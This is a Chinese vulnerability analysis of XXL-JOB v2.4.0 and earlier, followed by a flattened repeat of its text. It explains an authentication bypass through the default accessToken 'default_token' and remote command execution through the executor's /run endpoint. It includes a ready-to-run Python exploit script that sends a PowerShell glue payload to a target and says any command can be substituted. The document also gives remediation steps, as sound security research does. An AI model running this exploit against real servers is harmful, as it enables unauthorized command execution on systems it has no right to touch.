xxl-job默认accessToken身份绕过,包括RCE审计(详)
字数 1020 2025-08-24 07:48:10

XXL-JOB 默认accessToken身份绕过及RCE漏洞分析

漏洞概述

XXL-JOB 在默认配置下存在两个严重安全问题:

  1. 身份认证绕过:调度通讯使用的accessToken默认值为"default_token",若未修改则攻击者可绕过认证
  2. 远程代码执行(RCE):executor组件存在反序列化漏洞,可导致任意代码执行

影响版本:XXL-JOB v2.4.0及以下版本

环境搭建

  1. 下载XXL-JOB v2.4.0版本:
    https://github.com/xuxueli/xxl-job/releases/tag/2.4.0
    
  2. 使用IDEA和Java17环境
  3. 执行doc目录下的SQL文件初始化数据库

漏洞分析

1. 身份认证绕过分析

从XXL-JOB v2.3.1版本开始,application.properties中为accessToken增加了默认值"default_token",但大多数系统未修改此值。

认证验证逻辑:

  • 通过get(XxlJobRemotingUtil.XXL_JOB_ACCESS_TOKEN)获取accessToken
  • 验证当前access_token是否有效,无效则不执行

2. RCE漏洞分析

关键执行流程:

  1. 请求数据被反序列化为TriggerParam对象:

    TriggerParam triggerParam = GsonTool.fromJson(requestData, TriggerParam.class);
    return executorBiz.run(triggerParam);
    
  2. 执行链调用:

    run:158, EmbedServer$EmbedHttpServerHandler$1 (com.xxl.job.core.server)
    runWorker:1136, ThreadPoolExecutor (java.util.concurrent)
    run:635, ThreadPoolExecutor$Worker (java.util.concurrent)
    run:833, Thread (java.lang)
    
  3. 关键执行代码逻辑:

    • 检查jobId是否存在
    • 根据glueType类型处理不同执行方式
    • 对于脚本类型(如PowerShell),会创建并执行临时文件
  4. 文件创建与执行:

    String scriptFileName = XxlJobFileAppender.getGlueSrcPath()
        .concat(File.separator)
        .concat(String.valueOf(jobId))
        .concat("_")
        .concat(String.valueOf(glueUpdatetime))
        .concat(glueType.getSuffix());
    
    File scriptFile = new File(scriptFileName);
    if (!scriptFile.exists()) {
        ScriptUtil.markScriptFile(scriptFileName, gluesource);
    }
    
    int exitValue = ScriptUtil.execToFile(cmd, scriptFileName, logFileName, scriptParams);
    

漏洞利用

利用条件

  • 目标系统使用默认accessToken("default_token")
  • 可访问XXL-JOB的/run接口

利用方式

构造恶意请求,关键参数:

  • executorHandler: 任务处理器名称
  • glueType: 脚本类型(如GLUE_POWERSHELL)
  • glueSource: 要执行的恶意代码

示例EXP

import requests
import argparse

def exp(url):
    headers = {
        'X-Requested-With': 'XMLHttpRequest',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)',
        'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
        'Accept-Encoding': 'gzip, deflate',
        "Xxl-Job-Access-Token": "default_token"
    }
    
    data = '''{
        "jobId": 123,
        "executorHandler": "demoJobHandler",
        "executorParams": "demoJobHandler",
        "executorBlockStrategy": "COVER_EARLY",
        "executorTimeout": 1,
        "logId": 1,
        "logDateTime": 1586629003729,
        "glueType": "GLUE_POWERSHELL",
        "glueSource": "calc",
        "glueUpdatetime":'1586699003758',
        "broadcastIndex": 0,
        "broadcastTotal": 0
    }'''
    
    response = requests.post(url=url + "/run", headers=headers, data=data)
    if response.status_code == 200:
        print("200成功")
    else:
        print("失败 \t 尝试代理")

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument('ip', nargs='*')
    args = parser.parse_args()
    url = 'http://' + args.ip[0]
    exp(url)

参数说明

  • glueSource: 可替换为任意命令(如ping、dns请求等)
  • glueType: 根据目标系统选择(PowerShell、Shell等)

修复建议

  1. 修改默认accessToken为随机复杂字符串
  2. 升级到最新版本
  3. 限制XXL-JOB管理界面的访问权限
  4. 对executor接口实施额外的认证措施

总结

该漏洞组合了默认配置不当和代码执行缺陷,攻击者可利用默认accessToken绕过认证,并通过精心构造的请求在目标服务器上执行任意命令。管理员应及时检查配置并升级系统。

XXL-JOB 默认accessToken身份绕过及RCE漏洞分析 漏洞概述 XXL-JOB 在默认配置下存在两个严重安全问题: 身份认证绕过 :调度通讯使用的accessToken默认值为"default_ token",若未修改则攻击者可绕过认证 远程代码执行(RCE) :executor组件存在反序列化漏洞,可导致任意代码执行 影响版本 :XXL-JOB v2.4.0及以下版本 环境搭建 下载XXL-JOB v2.4.0版本: 使用IDEA和Java17环境 执行doc目录下的SQL文件初始化数据库 漏洞分析 1. 身份认证绕过分析 从XXL-JOB v2.3.1版本开始, application.properties 中为accessToken增加了默认值"default_ token",但大多数系统未修改此值。 认证验证逻辑: 通过 get(XxlJobRemotingUtil.XXL_JOB_ACCESS_TOKEN) 获取accessToken 验证当前access_ token是否有效,无效则不执行 2. RCE漏洞分析 关键执行流程: 请求数据被反序列化为TriggerParam对象: 执行链调用: 关键执行代码逻辑: 检查jobId是否存在 根据glueType类型处理不同执行方式 对于脚本类型(如PowerShell),会创建并执行临时文件 文件创建与执行: 漏洞利用 利用条件 目标系统使用默认accessToken("default_ token") 可访问XXL-JOB的/run接口 利用方式 构造恶意请求,关键参数: executorHandler : 任务处理器名称 glueType : 脚本类型(如GLUE_ POWERSHELL) glueSource : 要执行的恶意代码 示例EXP 参数说明 : glueSource : 可替换为任意命令(如ping、dns请求等) glueType : 根据目标系统选择(PowerShell、Shell等) 修复建议 修改默认accessToken为随机复杂字符串 升级到最新版本 限制XXL-JOB管理界面的访问权限 对executor接口实施额外的认证措施 总结 该漏洞组合了默认配置不当和代码执行缺陷,攻击者可利用默认accessToken绕过认证,并通过精心构造的请求在目标服务器上执行任意命令。管理员应及时检查配置并升级系统。